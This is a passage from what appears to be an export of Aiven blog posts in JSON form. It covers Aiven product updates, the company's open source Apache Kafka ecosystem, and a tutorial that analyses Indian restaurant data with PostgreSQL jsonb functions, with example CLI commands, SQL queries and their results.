Kafka®](https://aiven.io/blog/introducing-tiered-storage-for-aiven-for-apache-kafka) to address the challenges customers face when supporting large-scale data storage within data streaming systems. Aiven for Apache Kafka is one of our most popular technologies, and we are beyond thrilled to bring this new functionality to our platform! Tiered storage significantly enhances the performance, scalability, and cost structure of large-scale Kafka environments. Customers have reported a reduction in storage costs of up to 90%! \n\nTiered Storage has a dual-tier storage setup where the local storage tier continues to be used for storing fresh, hot data on the Apache Kafka broker nodes, and the remote storage tier uses cloud object storage such as Amazon S3, Azure Blob Storage, or Google Cloud Storage for warm and cold data. This tiered storage setup saves money by reducing the size of the broker node and improving upgrade and migration performance by eliminating the need for large node-to-node data replication operations, while keeping a full, auditable log of all data within the Kafka environment.\n\nSome key benefits of tiered storage in Aiven for Apache Kafka include: \n* Limitless storage in Aiven for Apache Kafka\n* Greater elasticity for Aiven for Apache Kafka clusters\n* Optimized cloud infrastructure costs\n\n![Benefits of Tiered Storage in Aiven for Apache Kafka diagram with three boxes. Diagram is blue with orange outlined visuals](https://cdn.sanity.io/images/sczeoy4w/production/4a521c154180920af02478b26937bd67f14e6c16-1792x998.png?w=450)\n\nTiered Storage is also in early availability in [Aiven for ClickHouse®](https://aiven.io/clickhouse) and brings the same functionality to all your analytics workloads with the added benefit of ClickHouse’s compression combined with potentially infinite object storage capabilities. Use Tiered Storage as you develop and grow, for a fraction of the cost, choosing freely what remains on disk and is accessible faster, and what goes in object storage. \n\nIf you are interested in trying out tiered storage in either Aiven for Apache Kafka or Aiven for Clickhouse, you can [start a trial](https://aiven.io/how-to-get-started-with-aiven) or [get in touch](https://aiven.io/contact) with our team to enable the feature in your Aiven environment. Keep your eyes peeled as we bring tiered storage into general availability!\n\n## Aiven for OpenSearch® upgraded to version 2.11.1\n\nDecember saw the upgrade of [Aiven for OpenSearch®](https://aiven.io/blog/aiven-for-opensearch-updated-to-version-2111) to version 2.11.1 bringing new and exciting features to the service. With the latest version of OpenSearch, you can customize your searches by chaining together a series of modular processors to modify a query and its results with the general availability of [search pipelines](https://opensearch.org/docs/latest/search-plugins/search-pipelines/index/). Additional enhancements include integrated alerts and anomaly detection in OpenSearch Dashboards as well as side-by-side search query comparison. \n\nYou can try these new enhancements from the [Aiven Console](https://console.aiven.io/) by performing a maintenance upgrade on your OpenSearch environments. If you haven’t tried out Aiven for OpenSearch yet, you can start a [free trial](https://aiven.io/how-to-get-started-with-aiven) and get a first hand experience with the new functionality today. \n\n## Aiven for PostgreSQL® adds support for PostgreSQL 16 bringing enhanced performance\n\nIn January, [we introduced PostgreSQL 16 in Aiven for PostgreSQL®](https://aiven.io/blog/enhanced-performance-with-postgresql-16) bringing optimized performance and improved monitoring and security. You can benefit from enhanced workload management, more efficient and secure database maintenance, and an overall improved developer experience. Some of the key updates in the latest Postgres version include: \n* Improved performance with better query planning and optimized bulk loading\n* Enhanced replication for seamless data exchange between cluster nodes and improved high availability, scalability, and disaster recovery\n* Enriched developer experience with more [SQL/JSON](https://www.postgresql.org/docs/16/functions-json.html) syntax additions\n* Improved monitoring with the introduction of `pg_stat_io`\n* Strengthened security and access control with the addition of `require_auth` for precise client-server authentication\n\nMany organizations already leverage Aiven for PostgreSQL to ensure business critical applications run without interruptions. [Digitalparking AG](https://aiven.io/blog/digitalparking-leads-the-smart-parking-revolution-in-switzerland) in Switzerland has a popular Parkingpay app using Aiven for PostgreSQL to provide cashless, ticketless parking in over 750 locations in cities, shopping centers, hospitals and multi-story car parks across the country. \n\n\u003e “PostgreSQL is now run by Aiven experts. As a result, we’ve never lost any data, version upgrades are seamless and security patching that used to take a day is completed with the click of a button. The inhouse team can now focus on their core job — providing more value to our customers,” says Reto Schläpfer, CEO and CTO at Digitalparking AG. \n\nIf you use Aiven for PostgreSQL already, you can run an [in-place upgrade](https://aiven.io/blog/postgresql-major-version-in-place-upgrades-supported-on-aiven) to migrate to the newest version. You can also easily test the upgrade first on a fork of the database to be upgraded. If you haven’t tried Aiven for PostgreSQL yet, you can sign up for a free trial [here](https://console.aiven.io/signup). \n\n## What’s cooking in the Aiven kitchen?\n\nWhat should you expect from Aiven in the coming months? A lot! Our teams work hard to bring many new capabilities to enhance developer productivity, and provide enterprise-grade scalability across all of our technologies so you can stream, store, and serve data with Aiven. Some notable features coming soon with Aiven include: \n\n* AI-powered optimizations with query and index recommendations powered by EverSQL\n* More BYOC automation across Google Cloud and Microsoft Azure\n* Enterprise security, resilience, and governance along with disk autoscaling \n* General availability of tiered storage in Aiven for Apache Kafka\n* KRaft-ready Kafka clusters in the Aiven platform\n* Custom connectors and streaming governance enhancements in Aiven for Apache Kafka\n* Simplified payment options\n\nBe sure to check [Aiven Ideas](https://ideas.aiven.io/), where you can directly influence the direction of Aiven's product development. Through our forum, you can interact with our product team, give feedback on existing features, post ideas for new features, and vote on the ideas of others. You can also see our public roadmap and get notified when the status of ideas changes, so you can see how they evolve into new features.\n\n## How to get started with Aiven?\n\nThis was only a glimpse of the new features brought to you by Aiven in the last six months. If you haven’t tried Aiven yet, sign up for a [free trial](https://console.aiven.io/signup) and get a first-hand experience of all the new functionality, or follow our [changelog](https://aiven.io/changelog) for the full list of updates.\n\nYou can also watch our webinar recording covering these exciting announcements: [What's New with Aiven: Q4 2023/Q1 2024](https://aiven.io/webinar/whats-new-with-aiven-q4-2023-q1-2024).\n\n::banner[WEBINAR: What’s new with Aiven Q4 2023/Q1 2024]{ctaText=\"Watch the recording\" ctaLink=\"https://aiven.io/webinar/whats-new-with-aiven-q4-2023-q1-2024\" background=\"\" theme=\"dark\"}\n","categories":[{"_key":"b22eacb3f8bf","_ref":"9yQ4jxpUoNWbSOSWYlghM","_type":"reference"}],"internalBlogProcess":"product","mainImage":{"_type":"mainImage","alt":"Orange image with Aiven crab logo in bottom left. Title is product news for end of 2023 and early 2024. White, Aiven dashboard image to the right with lines of profiles on dashboard.","asset":{"_ref":"image-44515a1d6031717fdd221ab5ad346f88b973b66b-1200x628-png","_type":"reference"}},"publishedAt":"2024-04-09T14:00:00.000Z","related":[{"_key":"8fc2035cd005","_ref":"825d9e73-30e9-482b-bb5d-ef0fc6dfbaf7","_type":"reference"},{"_key":"fbd4080456ed","_ref":"8b556977-dfaf-4620-b4da-f81d0c19f3b5","_type":"reference"},{"_key":"4fad715f47ca","_ref":"744c0688-e6eb-4410-9d43-3802217b181f","_type":"reference"}],"seo":{"_type":"metaData","metaDescription":"Optimize data infrastructure with the power of AI. Upgrade open source data services and reduce costs with self-service BYOC on AWS.","metaImage":{"_type":"mainImage","alt":"Aiven platform, open source, data platform, product updates","asset":{"_ref":"image-44515a1d6031717fdd221ab5ad346f88b973b66b-1200x628-png","_type":"reference"}},"metaTitle":"What's new at Aiven: Q4/2023 - Q1/2024"},"slug":{"_type":"slug","current":"/blog/whats-new-at-aiven-q42023-q12024"},"subtitle":"Optimize data infrastructure with the power of AI. Upgrade open source data services and reduce costs with self-service BYOC on AWS.\n","title":"What's new at Aiven: Q4/2023 - Q1/2024"} {"__i18n_lang":"en","_createdAt":"2022-11-23T06:01:09Z","_id":"a90eb4e8-6d45-4c1b-b767-22d99d8beefc","_rev":"T130WEs22RB6SoEkOBovHa","_type":"post","_updatedAt":"2024-11-19T09:55:28Z","authors":[{"_key":"c2504fb44ee1","_ref":"055b2496-c6da-421a-b3da-8c25cdc90fc0","_type":"reference"}],"body":"## Holistically managing your Apache Kafka® infrastructure\nWith the recent [acquisition of Kafkawise and its renaming to Klaw](https://aiven.io/blog/aiven-welcomes-kafkawize-now-klaw) as well as the launch of [Aiven for Apache Flink](https://aiven.io/flink) earlier in 2022, we are proud to introduce our complete ecosystem of technologies and tools around Apache Kafka®. \n\nOur vision is to offer a truly end-to-end open source based ecosystem of services and tooling deeply integrated with Apache Kafka that can fit the data streaming needs and workloads of any organization. \n\n### An organization’s growth and development with Apache Kafka \nWe constantly see companies taking the first baby steps on their streaming data journey. This journey is a continuous process of development, experimentation and implementation. Companies go through different stages, each with its associated characteristics and needs. \n\n#### First steps\nWhen companies adopt Apache Kafka, they initially focus on basic necessities — much like babies needing good quality nutrition and sleep to develop their bodies. For companies developing their Apache Kafka infrastructure, these necessities are about getting familiar with the technology and understanding its application for their specific needs and use cases. Companies also research the basic concepts and spin up Apache Kafka clusters just to get things going. \n\nCompanies starting with Apache Kafka will also want to understand how (and where) to spin up clusters, examine their streaming topology, and explore their latency requirements for specific use cases based on existing data volumes, and so on.\n\n#### Growing needs\nWhen Apache Kafka grows in the organization, its capacity also needs to grow larger so it can handle greater amounts of traffic and use cases. An organization might start using Apache Kafka to transport data between environments and databases but as Kafka’s adoption grows, it might need to interact with edge devices, message queues, blob or cloud storage or enable real time processing to ensure data correctness and availability. The more an organization uses Apache Kafka, the more requirements it will have.\n\n\nThe more an organization uses Apache Kafka, the more requirements it will have.\n\n#### Leaving the nest\nOnce a child reaches a certain age, they start moving outside their family home and become part of a wider team, like a nursery or a school. They start learning how to interact and behave in society. \n\nFor companies, this is the third stage of Apache Kafka adoption that brings additional needs for tooling and software. Apache Kafka becomes the backbone of data transportation around the organization. As more and more use cases emerge, more schemas will be created and existing schemas evolve over time. New topics and partitions will be created to highlight the different types of events multiple teams will want to have access to. At the same time, new use cases will be enabled such as real time data pipelines or event driven applications. \n\nCompanies need to properly manage and track how the topics and schema change and evolve in their Apache Kafka environment to ensure that Apache Kafka applications are not impacted by schema and topology changes and updates. \n\nLast, as the company’s usage of Kafka grows further, it needs to establish a governance structure and a mechanism to ensure that Apache Kafka meets the specific standards and rules that apply. This lets the technology to start supporting mission-critical applications in a secure, compliant way. \n\nBy offering a full open source streaming ecosystem for Apache Kafka, we want to support organizations in each and every stage of their Apache Kafka journey. We want to walk the whole journey with them and become their trusted partner. From seamlessly setting up clusters to testing or running Apache Kafka services, all the way to building an end-to-end platform service team around Apache Kafka, Aiven’s ecosystem will be there.\n\n\n### A streaming ecosystem to support your growth\n\nLet us take a look at the tools and services in our open source ecosystem in more detail.\n\n![image](https://cdn.sanity.io/images/sczeoy4w/production/60de3745dec681fdafe6a6d1df158c3beb8534da-3336x2374.png)\n\n\n#### Aiven for Apache Kafka\n[Aiven for Apache Kafka](https://aiven.io/kafka) is the core event streaming framework that allows the transportation of data streams in an organization. \n\nTypically customers starting with data streaming will want to focus on Apache Kafka itself: getting it up and running and ensuring they have enough knowledge and training to get it off the ground. \n\nWith Aiven for Apache Kafka, you can seamlessly manage, operate and transport real time data in one place. You can also integrate with other Aiven services, and migrate clusters from other cloud regions and external systems.\n\n::banner[Apache Kafka as a fully managed service, with zero vendor lock-in and a full set of capabilities to build your streaming pipeline.]{ctaText=\"Try our open source service!\" ctaLink=\"https://aiven.io/kafka\" title=\"Aiven for Apache Kafka®\" background=\"https://cdn.sanity.io/images/sczeoy4w/production/184cb33e057478405636d30b72f56c94f88ca103-64x64.svg\"}\n\n#### Aiven for Apache Kafka Connect\n[Aiven for Apache Kafka Connect](https://aiven.io/kafka-connect) enters the picture with additional systems. The more you use Apache Kafka, the more likely it will be that managing your own configurations for connecting to external systems will become a chore of its own. This is where Kafka Connect and a fully managed, distributed service like the one from Aiven really come into their own. \n\nApache Kafka Connect enables customers to integrate existing data sources and sinks seamlessly in a scalable way, without having to manage separate connectors.\n\nAn example here would be using the Debezium source connector to extract committed changes to transaction logs in a relational database, such as PostgreSQL, and push them to a Kafka topic in a standard format so it can be easily read by multiple consumers.\n\n\n#### Aiven for Apache Kafka MirrorMaker2\n[Aiven for Apache Kafka MirrorMaker2](https://aiven.io/docs/products/kafka/kafka-mirrormaker.html) is great for data replication needs. With it, you can run hybrid workloads, meaning you can maintain clusters in your own data centers, while moving other services and clusters to the cloud for better scalability. Or you can implement a true multi-cloud strategy, where different or identical clusters reside in multiple cloud regions and/or cloud environments.\n\nIn Aiven for Apache Kafka MirrorMaker2, you get a fully managed, fully open source distributed data replication service for Apache Kafka. It enables cluster to cluster data replication, disaster recovery and geographic proximity across regions or clouds.\n\n\n#### Karapace\n[Karapace](https://www.karapace.io/) provides a fully open source Kafka Schema Registry. Applications can access it to serialize and deserialize messages with popular formats such as AVRO, Protobuf and JSON. \n\nThis enables you to centrally manage the schema and metadata of your applications across the various components and services of any event driven architecture. \n\n\n#### Aiven for Apache Flink\n[Aiven for Apache Flink](https://aiven.io/flink) adds the ability to process data in real time. Using a streaming SQL engine based on Apache Flink, you can extract, transform and analyze data coming into Apache Kafka before pushing it to external services or systems.\n\nApache Flink allows you to move away from batch processing and start parallelizing tasks to be concurrently executed in a cluster. It can for example deliver data from Apache Kafka to monitoring systems or transform it before it goes into long term storage.\n\n::banner[A fully managed service for Apache Flink for all your real time ETL and streaming analytics use cases.]{ctaText=\"Start your free trial\" ctaLink=\"https://aiven.io/flink\" title=\"Aiven for Apache Flink®\" background=\"https://cdn.sanity.io/images/sczeoy4w/production/c96d109662fa0afd283a3ce7fbd1af8a8005f682-64x64.svg\"}\n\n#### Klaw\n[Klaw](https://www.klaw-project.io/) can help when your Apache Kafka infrastructure grows too complex to manage comfortably without an interim layer. With Klaw, you can manage your topics and ensure that the right teams can access the right data in Apache Kafka.\n\nIn the early stages, you might use spreadsheets or an e-mail based request/approval system. This is fine when the teams interacting with Apache Kafka are relatively small. As the organization grows, however, these one-off processes will probably become a bottleneck for successfully managing and operating Apache Kafka at larger scale. \n\nEnter Klaw: an open source data governance tool that helps enterprises exercise Apache Kafka® topic and schema governance, complete with automated processes and approval flows across DevOps teams and Data engineering teams. \n\n### When open source really makes a difference\nAiven is a firm believer that [open source delivers the best technology to the industry](https://aiven.io/blog/why-you-should-love-open-source-databases). We are very committed to sustaining open source and want to keep playing a key part in driving open source technologies forward. \n\nIn line with our open source roots and values, we want Apache Kafka engineers and developers to feel empowered by the solutions they use. They need to know that there is an active community to support them throughout their Apache Kafka journey - whether that’s with Aiven or not. \n\nThat’s why all the components of Aiven’s ecosystem around Apache Kafka are open source based. We want to ensure that the codebase of these technologies is maintained and supported by inclusive communities with an in-depth understanding of what developers need from the tools and services they use.\n\n## An invitation to explore Aiven’s ecosystem for Apache Kafka\nInterested in finding out more about how the different technologies and tools of Aiven’s ecosystem for Apache Kafka can work together? Here’s a list of resources to get you started: \n\n- [Event streaming with Apache Kafka](https://aiven.io/blog/what-is-apache-kafka)\n- [An event driven architecture with Aiven](https://aiven.io/solutions/aiven-for-event-driven-architecture)\n- [Managed Apache Kafka](https://aiven.io/kafka) from Aiven\n\n::banner[Book an Aiven expert for a chat and find out if event streaming with Apache Kafka® is what you need.]{ctaText=\"Book a demo now\" ctaLink=\"https://aiven.io/book-demo\" title=\"Take the first step today\" background=\"\" theme=\"light\"}\n\n\n\n\n\u003c!-- copypasta:\n\n®\n™\n\ntoc format:\n\n- [First part](#first-part)\n- [Second part](#second-part)\n- [Wrapping up](#wrapping-up)\n\nimage links: ![image](image URL)\n\n[Back to top](/blog/slug-line/#toc)\n\n\n## First part\n\n## Second part\n\n## Wrapping up\n\n## Next steps\nYour next step could be to check out ....\n\n--\u003e\n\nAre you still looking for a managed data platform? [Sign up for a free trial](https://console.aiven.io/signup \"Aiven free trial signup link\")!\n\n\n\n## Further reading\n\n- [Introduction to event-based programming](https://aiven.io/blog/introduction-to-event-based-programming)","categories":[{"_key":"cbc38a29d8d9","_ref":"3DG5ZYx4kaoRquQmn345yY","_type":"reference"},{"_key":"a3f6e00ee6d2","_ref":"0cdf6922-1dca-475f-b8ec-584368c1ddb0","_type":"reference"},{"_key":"863877f38ac4","_ref":"1wgqjrglPyMfEWcMYN3YcQ","_type":"reference"}],"internalBlogProcess":"product","mainImage":{"_type":"mainImage","asset":{"_ref":"image-4230388f13ae18f45a02d66f98dac54dd8883d92-1567x844-png","_type":"reference"}},"publishedAt":"2022-12-07T13:00:00.000Z","related":[{"_key":"856d3f8a3b9c","_ref":"4JR1zZoQLeuUT8AxByqegc","_type":"reference"}],"seo":{"_type":"metaData","metaDescription":"To take data streaming to the next level, discover the complete open source ecosystem built around Apache Kafka®. Find out more in the Aiven blog!","metaTitle":"Beyond event streaming: Aiven’s ecosystem for Apache Kafka®"},"slug":{"_type":"slug","current":"/blog/beyond-event-streaming-with-apache-kafka"},"subtitle":"When making Apache Kafka the backbone of your data infra, get an end-to-end solution. Find out more about Aiven’s open source ecosystem around Apache Kafka®.","title":"Beyond event streaming: a complete open source ecosystem for Apache Kafka®"} {"__i18n_lang":"en","_createdAt":"2022-10-31T16:40:51Z","_id":"b6bc3863-f2aa-4514-8526-572ac327ccfe","_rev":"h4ancfFTuSnQNBSq3ImbjA","_type":"post","_updatedAt":"2024-11-19T08:41:57Z","authors":[{"_key":"85edcca9d520","_ref":"3dImkQse2fXRL7zTLzAoa1","_type":"reference"}],"body":"## Analyse Indian restaurant reviews using PostgreSQL® JSON functions\n\nThe original idea behind relational databases was \"structure, then data\": you needed to define what the data looked like before being able to insert any content. This strict data structure definition helped keeping datasets in order by verifying data types, referential integrity, and additional business conditions using dedicated constraints.\n\nBut sometimes life can't be predicted, and data can take different shapes. To enable some sort of flexibility, modern databases like PostgreSQL® started adding semistructured column options JSON, where only a formal check on the shape of the data is done.\n\nPostgreSQL actually offers two options in this space, [`json` and `jsonb`](https://www.postgresql.org/docs/current/datatype-json.html). The first one validates that the content is in JSON format and stores it as string, the second is a binary representation optimised for faster processing and better indexing. You can read more on [Stack Overflow](https://stackoverflow.com/questions/22654170/explanation-of-jsonb-introduced-by-postgresql).\n\nThis blog post goes into detail about a few jsonb functions (with the json version being really similar without the `b` ending), by using a dataset containing restaurant information. Therefore, if you, like me, are always willing to discover new cuisines, take out your chef-investigator hat (a mix of Gordon Ramsay's and Sherlock Holmes's hat) and join me in the search for a good restaurant in our imaginary trip to India!\n\n## Deploy a PostgreSQL® instance\n\nLet's start with the basics: we need a database with some sort of parsing capabilities for JSON data. PostgreSQL is perfect for that, and you can either use your own or create an instance in Aiven via the [CLI](https://aiven.io/docs/tools/cli.html):\n\n```bash\navn service create demo-pg \\\n --service-type pg \\\n --plan hobbyist \\\n --cloud google-europe-west3\n```\n\nThe above creates an Aiven for PostgreSQL (`--service-type pg`) service called `demo-pg` , with the bare minimum `hobbyist` plan in the `google-europe-west3` cloud region which is in Frankfurt, Germany. The service takes a couple of minutes to be ready; you can monitor that with the `avn service wait` command.\n\n## Get the restaurant data in PostgreSQL\n\nAny research starts with a dataset, and this is no different! There's a nice [Zomato restaurants dataset available in Kaggle](https://www.kaggle.com/datasets/shrutimehta/zomato-restaurants-data) that can serve our purposes containing restaurant information for a lot of cities around the world.\n\n\nAll we need to download it is a [valid Kaggle login](https://www.kaggle.com/account/login?phase=startRegisterTab\u0026returnUrl=%2F). Once downloaded, we can unzip the archive file, and we'll get a folder containing 5 files (`file1.json` to `file5.json`). We can load them into our PostgreSQL service using the Aiven CLI, which will get the connection string and use the `psql` client:\n\n```bash\navn service cli demo-pg\n```\n\nCreate a `rest_reviews` table containing a unique column called `reviews_data` of jsonb type\n\n```sql\ncreate table rest_reviews (reviews_data JSONB);\n```\n\nAnd then load the files with:\n\n```sql\n\\copy rest_reviews from program 'sed -e ''s/\\\\/\\\\\\\\/g'' file1.json';\n\\copy rest_reviews from program 'sed -e ''s/\\\\/\\\\\\\\/g'' file2.json';\n\\copy rest_reviews from program 'sed -e ''s/\\\\/\\\\\\\\/g'' file3.json';\n\\copy rest_reviews from program 'sed -e ''s/\\\\/\\\\\\\\/g'' file4.json';\n\\copy rest_reviews from program 'sed -e ''s/\\\\/\\\\\\\\/g'' file5.json';\n```\n\nWe are using `sed -e ''s/\\\\/\\\\\\\\/g'' fileX.json` to properly escape any `\\` characters, which are a problem in the `\\copy` command (kudos to [StackOverflow](https://stackoverflow.com/questions/43855930/postgresql-json-to-columns-error-character-with-value-must-be-escaped) for the answer).\n \n These files we just uploaded are nested JSON documents containing the Zomato API responses in an array like:\n\n```json\n[\n {\n \"results_found\": 17151,\n \"restaurants\": [\n {\"restaurant\": {\"name\":\"Hauz Khas Social\",...}},\n {\"restaurant\": {\"name\":\"Qubitos - The Terrace Cafe\",...}},\n ...\n },\n {\n \"results_found\": 100,\n \"restaurants\": [\n {\"restaurant\": {\"name\":\"Spezia Bistro\",...}},\n {\"restaurant\": {\"name\":\"Manhattan Brewery \u0026 Bar Exchange\",...}},\n ...\n },\n ...\n {\"message\": \"API limit exceeded\", \"code\": 440, \"status\": \"\"}\n {\"message\": \"API limit exceeded\", \"code\": 440, \"status\": \"\"}\n]\n```\n\n## Extract the list of restaurants with `jsonb_array_elements`\n\nTo access the list of restaurants (in the `restaurants` field) we need to:\n\n* Parse the outer array containing the list of API responses\n* Parse the array of the `restaurants` JSON item (this also removes the `API limit exceeded` errors)\n\nWe can do that with the following SQL query:\n\n```sql\nselect restaurant -\u003e 'restaurant' -\u003e\u003e 'name' restaurant_name\nfrom rest_reviews\n cross join lateral jsonb_array_elements(reviews_data) dt\n cross join lateral jsonb_array_elements(dt -\u003e 'restaurants') restaurant\nlimit 10;\n```\n\nIn the above:\n\n* We use the `jsonb_array_elements` function to parse the jsonb array. \n* `jsonb_array_elements(reviews_data) dt` gives us `dt`, which is the outer array of API responses\n* `-\u003e` retrieves a jsonb subitem. So\n\n * `jsonb_array_elements(dt -\u003e 'restaurants') restaurant` gives us `restaurant`, which is the array contained in the `restaurants` field.\n * and `restaurant -\u003e 'restaurants'` gives us the `restaurant` jsonb values from that array of restaurants.\n\n* Like `-\u003e`, `-\u003e\u003e` retrieves the jsonb subitem but this time as text. So `'restaurant' -\u003e\u003e 'name'` retrieves the field `name` from the restaurant jsonb, as text.\n\n\nWhen executing the above query we can see the data being parsed correctly\n\n```\n restaurant_name\n----------------------------------\nHauz Khas Social\nQubitos - The Terrace Cafe\nThe Hudson Cafe\nSummer House Cafe\n38 Barracks\nSpezia Bistro\nManhattan Brewery \u0026 Bar Exchange\nThe Wine Company\nFarzi Cafe\nIndian Grill Room\n(10 rows)\n```\n\nIt would be nice to create a table having a row per restaurant, we can do that using a similar query.\nNote: This step could do more and parse more columns, it's just an example of what's achievable.\n\n```sql\ncreate table restaurant_data as\nselect\n (restaurant -\u003e 'restaurant' -\u003e\u003e 'id')::int id,\n restaurant -\u003e 'restaurant' jsonb_data\nfrom rest_reviews\n cross join lateral jsonb_array_elements(reviews_data) dt\n cross join lateral jsonb_array_elements(dt -\u003e 'restaurants') restaurant;\n```\n\nWe now have a table called `restaurant_data` with an integer field `id` and a jsonb field `jsonb_data` that we can use for further analysis.\n\n## Dive deep into the restaurants data\n\nNow we can start with our research. First let's explore some fields. Apart from the `id` and `name`, there's a nice `location` JSON subitem where we can find the restaurant `city` amongst other information.\n\n```sql\nselect\n jsonb_data -\u003e\u003e 'id' id,\n jsonb_data -\u003e\u003e 'name' name,\n jsonb_data -\u003e 'location' -\u003e\u003e 'city' city\nfrom restaurant_data limit 5;\n```\n\nIn the above, check again the usage of `-\u003e` to extract the jsonb subitem versus `-\u003e\u003e` to extract the same as text. The results are the following:\n\n\n```\n id | name | city\n---------+----------------------------+-----------\n308322 | Hauz Khas Social | New Delhi\n18037817 | Qubitos - The Terrace Cafe | New Delhi\n312345 | The Hudson Cafe | New Delhi\n307490 | Summer House Cafe | New Delhi\n18241537 | 38 Barracks | New Delhi\n(5 rows)\n\n```\n\n### What are the top prices in India? Filter data using `@\u003e`\n\nLet's talk money! What are the most expensive restaurants based on `average_cost_for_two` in `Rs.`, (Indian Rupies) the local currency in India?\n\n```sql\nselect\n jsonb_data -\u003e\u003e 'id' id,\n jsonb_data -\u003e\u003e 'name' name,\n (jsonb_data -\u003e\u003e 'average_cost_for_two')::int average_cost_for_two\nfrom restaurant_data\nwhere jsonb_data @\u003e '{\"currency\": \"Rs.\"}'\norder by 3 desc\nlimit 5;\n```\n\nWe use `int` again to say the price is an integer, and the `@\u003e` operator to check that the `jsonb_data` JSON document contains `{\"currency\": \"Rs.\"}`. An alternative would be to extract the `currency` subitem and filter with `jsonb_data -\u003e\u003e 'currency' = 'Rs.'`. The following are the results:\n\n\n```\n id | name | average_cost_for_two\n--------+------------------------------------------------------+----------------------\n3400072 | Dawat-e-Nawab - Radisson Blu | 3600\n2300187 | Waterside - The Landmark Hotel | 3000\n3400059 | Peshawri - ITC Mughal | 2500\n102216 | Chao Chinese Bistro - Holiday Inn Jaipur City Centre | 2500\n3400060 | Taj Bano - ITC Mughal | 2500\n(5 rows)\n```\n\n### Check the rating with `with_bucket`\n\nOk, the above query gave me an idea of the cost, what about the quality? Let's explore the `user_rating` item and create a histogram with:\n\n```sql\nwith agg_bucket as (\n select\n width_bucket((jsonb_data -\u003e 'user_rating' -\u003e\u003e 'aggregate_rating')::numeric, 0, 5, 10) bucket,\n count(*) nr_restaurants\n from restaurant_data\n where jsonb_data @\u003e '{\"currency\": \"Rs.\"}'\n group by width_bucket((jsonb_data -\u003e 'user_rating' -\u003e\u003e 'aggregate_rating')::numeric, 0, 5, 10)\n )\nselect bucket,\n numrange(bucket*0.5 -0.5, bucket*0.5) range,\n nr_restaurants\nfrom agg_bucket\norder by 1;\n```\n\nThe above query uses the `with_bucket` function to assign the `user_rating` value to one of 10 buckets, each covering `0.5` in ratings (e.g. 0-0.5, 0.5-1) etc. The result below shows that we can safely filter for `rating \u003e= 4` and still retain a good choice of restaurants.\n\n\n```\nbucket | range | nr_restaurants\n-------+-----------+----------------\n 5 | [2.0,2.5) | 2\n 6 | [2.5,3.0) | 1\n 7 | [3.0,3.5) | 88\n 8 | [3.5,4.0) | 266\n 9 | [4.0,4.5) | 287\n 10 | [4.5,5.0) | 76\n(6 rows)\n```\n\n### What's the best affordable restaurant?\n\nShould we try to minimise the spend? Let's search if there is any restaurant with a `rating` greater or equal than 4 and an `average_cost_for_two` less than 1000 Indian Rupees. Again, we are casting both `aggregate_rating` and `average_cost_for_two` to integers before applying the filter.\n\n```sql\nselect\n jsonb_data -\u003e\u003e 'id' id,\n jsonb_data -\u003e\u003e 'name' name,\n (jsonb_data -\u003e\u003e 'average_cost_for_two')::int average_cost_for_two,\n (jsonb_data -\u003e 'user_rating' -\u003e\u003e 'aggregate_rating')::numeric aggregate_rating\nfrom restaurant_data\nwhere jsonb_data -\u003e\u003e 'currency' = 'Rs.'\nand (jsonb_data -\u003e\u003e 'average_cost_for_two')::int \u003c 1000\nand (jsonb_data -\u003e 'user_rating' -\u003e\u003e 'aggregate_rating')::numeric \u003e= 4\norder by 4 desc, 3 asc\nlimit 5;\n```\n\nThis shows quite a good selection of not too expensive but still good restaurants!\n\n```\n id | name | average_cost_for_two | aggregate_rating\n--------+---------------------------+----------------------+------------------\n3400346 | Sheroes Hangout | 0 | 4.9\n2600109 | Sagar Gaire Fast Food | 250 | 4.9\n800468 | Grandson of Tunday Kababi | 300 | 4.9\n3001321 | CakeBee | 350 | 4.9\n96776 | Conçu | 600 | 4.8\n(5 rows)\n```\n\n### A deep dive into the events array, with `jsonb_array_length` and `jsonb_array_elements`\n\nLet's refine our research, are any of the resulting restaurants doing events? Checking events done in the past might give us some more insights on what the restaurant can offer. Since the item `zomato_events` contains an array of events, we can check for restaurants with at least 2 entries in that array, so we can get a sense of what's available.\n\n```sql\nselect\n jsonb_data -\u003e\u003e 'id' id,\n jsonb_data -\u003e\u003e 'name' name,\n (jsonb_data -\u003e\u003e 'average_cost_for_two')::int average_cost_for_two,\n (jsonb_data -\u003e 'user_rating' -\u003e\u003e 'aggregate_rating')::numeric aggregate_rating,\n jsonb_array_length(jsonb_data -\u003e 'zomato_events') nr_events\nfrom restaurant_data\nwhere jsonb_data -\u003e\u003e 'currency' = 'Rs.'\nand (jsonb_data -\u003e\u003e 'average_cost_for_two')::int \u003c 1000\nand (jsonb_data -\u003e 'user_rating' -\u003e\u003e 'aggregate_rating')::numeric \u003e= 4\nand jsonb_array_length(jsonb_data -\u003e 'zomato_events') \u003e 1\norder by 5 desc, 4 desc, 3 asc\nlimit 5;\n```\n\nTo filter on `zomato_events`, we're using the `jsonb_array_length` function, which returns the number of items in a specific jsonb array. Interestingly we only get 3 rows.\n\n```\n id | name | average_cost_for_two | aggregate_rating | nr_events\n---------+----------------+----------------------+------------------+-----------\n103019 | Mutual's | 650 | 4.2 | 3\n113537 | Puffizza | 700 | 4.3 | 2\n18413814 | Aangan Horizon | 900 | 4.0 | 2\n(3 rows)\n```\n\nNow that we have that list of three restaurants, let's have a look at what events they created to make our final decision\n\n```sql\nselect\n jsonb_data -\u003e\u003e 'id' id,\n jsonb_data -\u003e\u003e 'name' name,\n (jsonb_data -\u003e\u003e 'average_cost_for_two')::int average_cost_for_two,\n (jsonb_data -\u003e 'user_rating' -\u003e\u003e 'aggregate_rating')::numeric aggregate_rating,\n events -\u003e 'event' -\u003e\u003e 'title' event_title\nfrom restaurant_data\ncross join lateral jsonb_array_elements(jsonb_data -\u003e 'zomato_events') events\nwhere jsonb_data -\u003e\u003e 'currency' = 'Rs.'\nand (jsonb_data -\u003e\u003e 'average_cost_for_two')::int \u003c 1000\nand (jsonb_data -\u003e 'user_rating' -\u003e\u003e 'aggregate_rating')::numeric \u003e= 4\nand jsonb_array_length(jsonb_data -\u003e 'zomato_events') \u003e 1\norder by 1,2,5\nlimit 5;\n```\n\nWow, `#FlauntYourPizza Contest` seems interesting (and possibly very dangerous :D)!\n\n```\n id | name | average_cost_for_two | aggregate_rating | event_title\n-------+----------+----------------------+------------------+-----------------------------------\n103019 | Mutual's | 650 | 4.2 | ABHI SOLANKI LIVE\n103019 | Mutual's | 650 | 4.2 | FREEBIRDS\n103019 | Mutual's | 650 | 4.2 | IPL SPECIAL OFF\n113537 | Puffizza | 700 | 4.3 | Dim Light Dinner (Every Thursday)\n113537 | Puffizza | 700 | 4.3 | #FlauntYourPizza Contest\n(5 rows)\n```\n\nLooks like we found our restaurant! Now it's time to go there, check the menu, 